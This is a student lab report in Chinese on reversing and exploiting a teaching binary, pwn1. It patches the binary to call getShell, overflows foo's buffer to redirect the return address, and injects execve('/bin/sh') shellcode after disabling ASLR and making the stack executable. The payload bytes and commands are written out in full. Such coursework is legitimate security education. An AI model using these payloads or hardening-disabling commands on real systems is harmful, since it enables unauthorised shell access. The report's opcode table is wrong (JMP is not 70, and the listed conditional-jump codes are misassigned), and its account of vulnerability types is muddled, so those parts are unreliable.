20165306 Exp1 PC平台逆向破解

一、逆向及Bof基础实践说明

1. 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数，foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

2.基础知识

熟悉Linux基本操作

|：管道，将前者的输出作为后者的输入。

>：输入输出重定向符，将前者输出的内容输入到后者中。

objdump -d：从objfile中反汇编那些特定指令机器码的section。

xxd：为给定的标准输入或者文件做一次十六进制的输出，它也可以将十六进制输出转换为原来的二进制格式。

perl -e：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。

ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。

参考资料：

Linux常用命令大全

Linux命令大全（手册）

NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（90）

JMP：无条件转移指令（70）

JLE：小于等于（71）

JL：小于（72）

JE：相等（73）

JNE：不相等（74）

JGE：大于等于（75）

JG：大于（76）

CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

二、直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术

`objdump -d pwn1`反汇编

call 8048491 <foo>是汇编指令,将调用位于地址8048491处的foo函数；其对应机器指令为e8 d7 ff ff ff，e8即跳转之意。

我们想让main函数调用getShell，只要修改d7ffffff为 47d-4ba得到的补码c3ffffff。

`# cp pwn1 pwn2`

`# vi pwn2`

注：以下1~7操作是在vi内

1.按`ESC`键

2.输入`:%!xxd`，将显示模式切换为16进制模式

3.查找要修改的内容 `/d7`

4.找到后前后的内容和反汇编的对比下，确认是地方是正确的

5.按`i`键进入插入模式，修改`d7`为`c3`

6.按`Esc`退出插入模式，输入`:%!xxd -r`转换16进制为原格式

7.输入`:wq`存盘退出vi

8.再反汇编看一下，call指令是否正确调用getshell

9.运行修改后的代码，可以得到shell提示符

三、通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术

1.反汇编，了解程序的基本功能

该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞，我们的目标是覆盖返回地址。

2.确认输入字符串哪几个字符会覆盖到返回地址

# gdb pwn1

eip的值为ASCII的5，即在输入字符串的“5”的部分发生溢出。将“5”的部分改为其他数字进一步确认

1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址，输给pwn1，pwn1就会运行getShell。

3.确认用什么值来覆盖返回地址

getShell的内存地址，通过反汇编时可以看到，即0804847d。

接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

对比之前eip 0x34333231 0x34333231，正确应该输入11111111222222223333333344444444\x7d\x84\x04\x08。

4.构造输入字符串

由为没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入，通过管道符“|”，作为pwn1的输入。

四、注入Shellcode并执行

1.准备一段Shellcode

shellcode就是一段机器指令（code），通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

2.准备工作

#apt-get install execstack

# execstack -s pwn1 //设置堆栈可执行

# execstack -q pwn1 //查询文件的堆栈是否可执行

# more /proc/sys/kernel/randomize_va_space

# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

# more /proc/sys/kernel/randomize_va_space

3.构造要注入的payload

Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcode和nop+shellcode+retaddr。缓冲区小就把shellcode放后边（RNS），缓冲区大就把shellcode放前边（NSR）。

nop一为是了填充，二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

采用RNS结构：# perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。得把它改为这段shellcode的地址。特别提醒：最后一个字符千万不能是\x0a。

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf：

再开另外一个终端，用gdb来调试pwn1这个进程
找到pwn1的进程号是2411
启动gdb调试这个进程

通过设置断点，来查看注入buf的内存地址

在pwn1进程正在运行的终端按回车，这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

再返回调试终端，使用info r esp查找地址。

使用x/16x 0xffffd2fc查看其存放内容，看到了01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是 0xffffd300。
接下来只需要将之前的\x4\x3\x2\x1改为\x00\xd3\xff\xff即可

perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode1

再执行程序

五、感想与收获

因为老师提供的实验指导以及同学们写的博客都很详细，很容易就不假思索照搬照抄，而忘记了最初的目的。时刻带着问题、带着质疑的心朝目标前进，做实验才有效果。
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。

系统漏洞主要分为两种，一种是高危漏洞，另一种是功能性漏洞：

1、高危漏洞：系统核心和Office 漏洞，这些漏洞允许远程执行代码，使得电脑有被入侵的危险

2、功能性漏洞：软件版本更新或给系统添加实用功能，用于解决普通的电脑问题，提升电脑性能

系统漏洞危害：

1、系统漏洞经常被不法者或黑客用于向电脑强制安装恶意程序、传播病毒以及植入木马等；

2、系统漏洞容易导致电脑重要的数据和信息被窃取，严重者会导致操作系统被破坏，电脑数据全部丢失；

3、在局域网环境中，还会造成病毒的传播，导致其他电脑瘫痪，危害极大；

4、被严重破坏的操作系统只能通过重装系统来解决。